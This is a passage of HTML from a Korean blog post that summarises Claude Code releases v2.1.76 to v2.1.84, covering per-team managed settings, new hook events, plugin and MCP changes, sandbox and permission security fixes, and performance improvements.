&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDVeSs/dJMcabXXyoZ/6fuGv28m66kEiLejtPyqKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDVeSs/dJMcabXXyoZ/6fuGv28m66kEiLejtPyqKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDVeSs/dJMcabXXyoZ/6fuGv28m66kEiLejtPyqKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDVeSs%2FdJMcabXXyoZ%2F6fuGv28m66kEiLejtPyqKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1956&quot; height=&quot;1106&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 팀이 Claude Code를 쓰는 조직에서, 팀마다 다른 정책을 관리하기 어려웠다. &lt;b&gt;v2.1.83&lt;/b&gt;에서 이를 해결하는 핵심 기능이 추가되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;managed-settings.d/ &amp;mdash; 팀별 정책 드롭인&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 기존: 하나의 managed-settings.json에 모든 정책
managed-settings.json

# v2.1.83~: 팀별 JSON 파일을 폴더에 넣으면 알파벳순 자동 병합
managed-settings.d/
├── 00-global-policy.json      # 전사 공통
├── 10-backend-team.json       # 백엔드팀 전용
├── 20-frontend-team.json      # 프론트엔드팀 전용
└── 30-security-overrides.json # 보안팀 오버라이드&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;팀/엔터프라이즈 변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;managed-settings.d/&lt;/b&gt; 드롭인 디렉토리 &amp;mdash; 팀별 독립 정책 병합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;allowedChannelPlugins&lt;/code&gt; 관리 설정 &amp;mdash; 채널 플러그인 화이트리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1&lt;/code&gt; &amp;mdash; 서브프로세스에서 자격증명 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;sandbox.failIfUnavailable&lt;/code&gt; &amp;mdash; 샌드박스 시작 불가 시 실행 중단 (unsandboxed 방지)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.80&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--channels&lt;/code&gt; 리서치 프리뷰 &amp;mdash; MCP 서버가 세션에 메시지 푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.81&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--channels&lt;/code&gt; 권한 릴레이 &amp;mdash; 도구 승인을 폰으로 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 훅 시스템 &amp;mdash; 반응형 자동화의 확장&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOHu6t/dJMcafe1q5e/rNJRncZ3MTdVa1pmGU9mKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOHu6t/dJMcafe1q5e/rNJRncZ3MTdVa1pmGU9mKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOHu6t/dJMcafe1q5e/rNJRncZ3MTdVa1pmGU9mKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOHu6t%2FdJMcafe1q5e%2FrNJRncZ3MTdVa1pmGU9mKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1076&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;훅(Hooks)은 Claude Code의 자동화 기반이다. 이번 8개 릴리스에서 주요 새 훅 이벤트가 추가되었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;훅 이벤트&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;CwdChanged&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;작업 디렉토리 변경 시 자동 실행 (예: direnv 환경 전환)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;FileChanged&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;파일 변경 감지 시 자동 실행 (예: 린터, 포매터 트리거)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;StopFailure&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.78&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;API 에러(레이트 리밋, 인증 실패 등)로 턴 종료 시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;TaskCreated&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;TaskCreate로 태스크 생성 시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;Elicitation&lt;/code&gt; / &lt;code&gt;ElicitationResult&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.76&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버의 구조적 입력 요청을 가로채기&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// settings.json 예시: CwdChanged로 direnv 자동 전환
{
  &quot;hooks&quot;: {
    &quot;CwdChanged&quot;: [{
      &quot;type&quot;: &quot;command&quot;,
      &quot;command&quot;: &quot;direnv allow . 2&amp;gt;/dev/null; direnv export json&quot;
    }]
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;CwdChanged&lt;/code&gt;는 monorepo에서 특히 유용하다. 에이전트가 &lt;code&gt;cd packages/backend&lt;/code&gt;할 때마다 해당 패키지의 환경변수와 도구 설정이 자동으로 전환된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 13 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;13. 플러그인 &amp;amp; MCP &amp;mdash; 보안과 확장성&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYbgQx/dJMcabRaVAS/bGPRg768xRBxbrD1jLMaa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYbgQx/dJMcabRaVAS/bGPRg768xRBxbrD1jLMaa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYbgQx/dJMcabRaVAS/bGPRg768xRBxbrD1jLMaa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYbgQx%2FdJMcabRaVAS%2FbGPRg768xRBxbrD1jLMaa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2024&quot; height=&quot;1110&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플러그인 Keychain 저장 (v2.1.83)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인이 API 키 같은 민감 설정을 받아야 할 때, 이전에는 안전한 저장 방법이 없었다. 이제 플러그인 활성화 시 설정을 입력받고, &lt;code&gt;sensitive: true&lt;/code&gt; 값은 &lt;b&gt;macOS Keychain&lt;/b&gt;(또는 다른 플랫폼의 보호된 자격증명 파일)에 저장된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MCP 관련 개선&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.76&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP elicitation&lt;/b&gt; &amp;mdash; 서버가 작업 중 구조적 입력을 대화형으로 요청 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;도구 설명 2KB 캡 &amp;mdash; OpenAPI 서버의 컨텍스트 팽창 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬+claude.ai 커넥터 중복 제거 &amp;mdash; 로컬 설정 우선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.81&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP read/search 도구 출력 접기 &amp;mdash; &quot;Queried {server}&quot; 한 줄로 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.81&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP OAuth CIMD(SEP-991) 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 수정 (중요)&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.76&lt;/b&gt;: .gitignore 디렉토리(node_modules 등)에서 스킬 로드 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.76&lt;/b&gt;: .mcp.json 첫 실행 시 서버별 승인 대화상자 정상 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.78&lt;/b&gt;: sandbox 의존성 미설치 시 &quot;조용히 unsandboxed&quot; &amp;rarr; 시작 경고 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.78&lt;/b&gt;: &lt;code&gt;deny&lt;/code&gt; 권한 규칙이 MCP 도구에도 정상 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 14 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;14. 성능 &amp;amp; 안정성 &amp;mdash; 긴 세션의 고질병 해결&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 8개 릴리스에서 성능 개선이 가장 많았다. 특히 &lt;b&gt;--resume(세션 재개)&lt;/b&gt;과 &lt;b&gt;시작 속도&lt;/b&gt;가 대폭 개선되었다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 &amp;amp; 시작 속도&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;개선&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.77&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--resume&lt;/code&gt; 최대 &lt;b&gt;45% 빨라짐&lt;/b&gt;, ~100-150MB 메모리 절감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.79&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;시작 시 메모리 &lt;b&gt;-18MB&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.80&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;250k 파일 리포에서 시작 시 &lt;b&gt;-80MB&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--resume&lt;/code&gt; 메모리 + 시작 지연 추가 개선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;시작 &lt;b&gt;+30ms&lt;/b&gt; 빨라짐 (setup 병렬화), MCP 서버 연결 대기 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--bare -p&lt;/code&gt; API 요청까지 &lt;b&gt;14% 빨라짐&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;합산하면, 대규모 리포에서 시작 메모리가 &lt;b&gt;~100MB 이상 절감&lt;/b&gt;되었고, --resume은 최대 45% 빨라지면서 ~100-150MB 피크 메모리가 줄었다 (v2.1.77 기준, 포크가 많거나 매우 큰 세션에서).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;안정성 수정 (하이라이트)&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;: 유휴 시 화면 깜빡임 수정 &amp;mdash; 손을 뗐을 때 공백이 보이던 문제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;: 대용량 파일 diff 시 무한 행이 걸리던 문제 &amp;rarr; &lt;b&gt;5초 타임아웃 후 폴백&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;: 음성 모드 시작 시 1~8초 UI 멈춤 &amp;rarr; 오디오 모듈 지연 로딩&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.84&lt;/b&gt;: Partial clone 리포(Scalar/GVFS)에서 대량 blob 다운로드 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.84&lt;/b&gt;: CJK IME 입력이 터미널 커서와 동기화 &amp;mdash; 한국어/일본어/중국어 입력 개선&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;v2.1.77&lt;/b&gt;: 자동 업데이터가 슬래시 오버레이에서 중복 다운로드 &amp;rarr; &lt;b&gt;수십 GB 메모리 누수 수정&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 15 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;15. 개발자 경험(DX) &amp;mdash; 작은 것들이 모여 큰 차이&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRGIkf/dJMcafF3Vc5/2PZv3Jc4mzyclQKhg3KBi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRGIkf/dJMcafF3Vc5/2PZv3Jc4mzyclQKhg3KBi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRGIkf/dJMcafF3Vc5/2PZv3Jc4mzyclQKhg3KBi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRGIkf%2FdJMcafF3Vc5%2F2PZv3Jc4mzyclQKhg3KBi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1084&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;입력 자동 복원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;응답 전 중단 시 입력이 사라지지 않고 복원되어 바로 수정 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/status 실시간&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;응답 중에도 &lt;code&gt;/status&lt;/code&gt; 실행 가능 (이전: 턴 끝까지 대기)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;--bare 플래그&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.81&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;훅, LSP, 플러그인, 스킬 탐색 모두 스킵. SDK 스크립팅용 최소 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;라인별 스트리밍&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.78&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;응답 텍스트가 생성되는 대로 라인 단위로 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6 토큰 한도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.77&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기본 출력 64k, 상한 128k 토큰&lt;/td&gt;
